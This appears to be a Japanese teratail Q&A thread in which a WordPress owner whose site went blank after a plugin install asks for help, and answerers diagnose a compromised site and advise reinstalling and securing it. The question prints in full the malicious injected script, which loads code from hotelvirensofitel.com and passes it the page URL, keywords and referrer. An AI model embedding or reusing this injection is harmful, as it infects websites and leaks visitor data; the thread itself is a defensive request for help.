WordPressにプラグインを入れた後、画面がまっしろになり、「hotelvirensofitel.comを待機しています…」というメッセージが出るようになった
解決済
回答 2
投稿
- 評価
- クリップ 0
- VIEW 1,225
前提・問題
WordPressサイトを、Mesocolumnというテンプレで作っておりましたが、
ある日、top画面がまっしろに表示がされました。
試したこと
1. wp-config.phpのDEBUGモードをfalseからtrueにして、エラーを確認したところ、
直前で入れていたfavicon rotatorが問題であったようだったので、
プラグインを停止したところ、画面は表示されるようになりました。
(※今ではどういうメッセージが出ていたのか、わからないのですが…)
2.そうしたところ、「wp-content/db.php」の一行目にエラーが発生しているというメッセージが出たため、
wp-content直下にあったdb.phpを見てみると、1行目は、「<?php」のみでした。
3.インターネットでdb.phpのエラーを検索すると、ファイル自体を削除することで解決している人がいたため
db.phpの名前をdb_old.phpにサーバー上で変更
4.TOPページにはエラーが表示されなくなりましたが、管理画面側でちょいちょいエラーが出るようになってしまったので初心者的にはWordPressを再インストールした方がよいかと思い、週末を待っておりました。
5.昨晩、該当URLにアクセスすると、ブラウザ左下に「hotelvirensofitel.comを待機しています…」というメッセージが出ていることに気が付きました。デベロッパーツールで確認をすると、javascriptが書き込まれていることに気が付きました(発生している問題・エラーメッセージに書きました)
6.今朝、該当URLにアクセスすると、以下の画像が表示されました。
以上が、実施してみたことになりますが、WordPressを再インストールすればよい話なのか、もはやそれだけではない問題なのか、そもそもどうしてこうなったのか(どうするべきであったのか)、ご教示頂ければ幸いです。
発生している問題・エラーメッセージ
<script>var a='';setTimeout(1);function setCookie(a,b,c){var d=new Date;d.setTime(d.getTime()+60*c*60*1e3);var e="expires="+d.toUTCString();document.cookie=a+"="+b+"; "+e}function getCookie(a){for(var b=a+"=",c=document.cookie.split(";"),d=0;d<c.length;d++){for(var e=c[d];" "==e.charAt(0);)e=e.substring(1);if(0==e.indexOf(b))return e.substring(b.length,e.length)}return null}null==getCookie("__cfgoid")&&(setCookie("__cfgoid",1,1),1==getCookie("__cfgoid")&&(setCookie("__cfgoid",2,1),document.write('<script type="text/javascript" src="' + 'http://hotelvirensofitel.com/js/jquery.min.php' + '?key=b64' + '&utm_campaign=' + 'snt2014' + '&utm_source=' + window.location.host + '&utm_medium=' + '&utm_content=' + window.location + '&utm_term=' + encodeURIComponent(((k=(function(){var keywords = '';var metas = document.getElementsByTagName('meta');if (metas) {for (var x=0,y=metas.length; x<y; x++) {if (metas[x].name.toLowerCase() == "keywords") {keywords += metas[x].content;}}}return keywords !== '' ? keywords : null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k)) + '&se_referrer=' + encodeURIComponent(document.referrer) + '"><' + '/script>')));</script>
補足情報
ちなみに当方はMac歴1ヶ月程度。友人には、MacはこまめにPCの再起動を行えば、再起動時に悪意のあるマルウェアなどは削除する仕様…と言われたので、ウィルス対策ソフトなどは入れておりません。
-
気になる質問をクリップする
クリップした質問は、後からいつでもマイページで確認できます。
またクリップした質問に回答があった際、通知やメールを受け取ることができます。
クリップを取り消します
-
良い質問の評価を上げる
以下のような質問は評価を上げましょう
- 質問内容が明確
- 自分も答えを知りたい
- 質問者以外のユーザにも役立つ
評価が高い質問は、TOPページの「注目」タブのフィードに表示されやすくなります。
質問の評価を上げたことを取り消します
-
評価を下げられる数の上限に達しました
評価を下げることができません
- 1日5回まで評価を下げられます
- 1日に1ユーザに対して2回まで評価を下げられます
質問の評価を下げる
teratailでは下記のような質問を「具体的に困っていることがない質問」、「サイトポリシーに違反する質問」と定義し、推奨していません。
- プログラミングに関係のない質問
- やってほしいことだけを記載した丸投げの質問
- 問題・課題が含まれていない質問
- 意図的に内容が抹消された質問
- 過去に投稿した質問と同じ内容の質問
- 広告と受け取られるような投稿
評価が下がると、TOPページの「アクティブ」「注目」タブのフィードに表示されにくくなります。
質問の評価を下げたことを取り消します
この機能は開放されていません
評価を下げる条件を満たしてません
質問の評価を下げる機能の利用条件
この機能を利用するためには、以下の事項を行う必要があります。
- 質問回答など一定の行動
-
メールアドレスの認証
メールアドレスの認証
-
質問評価に関するヘルプページの閲覧
質問評価に関するヘルプページの閲覧
checkベストアンサー
+4
現物を見ていないので確定的なことはいえませんが、WordPressが改ざんされた危険性があります。
日ごとに状況が変わっているということは、すでに誰かがあなたのWordPressで好き放題できるルートを作っている可能性も高いので、一度完全に新しいWordPressを入れることをおすすめします。
なお、WordPressへの侵入は多くの場合、WordPress自体やプラグインの脆弱性を使って行われるので、「パソコンにウイルス対策ソフトを入れた」ところで、まったく防御にはなりません。WordPressをこまめにアップデートする、というのが適切な方法です。
投稿
-
回答の評価を上げる
以下のような回答は評価を上げましょう
- 正しい回答
- わかりやすい回答
- ためになる回答
評価が高い回答ほどページの上位に表示されます。
-
回答の評価を下げる
下記のような回答は推奨されていません。
- 間違っている回答
- 質問の回答になっていない投稿
- スパムや攻撃的な表現を用いた投稿
評価を下げる際はその理由を明確に伝え、適切な回答に修正してもらいましょう。
+1
MacはこまめにPCの再起動を行えば、再起動時に悪意のあるマルウェアなどは削除する仕様
10年以上仕事でMacをさわっていますが、上記のようなことは聞いた事がありません。セキュリティソフト自体そこまで高価でもないので、導入されることをお勧めします。
また、全ファイルの削除だけでなく、DB内のデータの削除及びDBのパスワード変更などもされたほうが良いです。
投稿
-
回答の評価を上げる
以下のような回答は評価を上げましょう
- 正しい回答
- わかりやすい回答
- ためになる回答
評価が高い回答ほどページの上位に表示されます。
-
回答の評価を下げる
下記のような回答は推奨されていません。
- 間違っている回答
- 質問の回答になっていない投稿
- スパムや攻撃的な表現を用いた投稿
評価を下げる際はその理由を明確に伝え、適切な回答に修正してもらいましょう。
15分調べてもわからないことは、teratailで質問しよう!
- ただいまの回答率 88.23%
- 質問をまとめることで、思考を整理して素早く解決
- テンプレート機能で、簡単に質問をまとめられる
2016/12/03 11:26
ご回答ありがとうございます。
WordPressの改ざんなのですね。。。
同じサーバー(ロリポ)に入っている他のサイトも見てみましたら、
WordPressのサイトは、同じような改ざんをされておりました…(T T)
これを機会に、改ざんされにくい対策などを、講じたいと思います。
ありがとうございました!!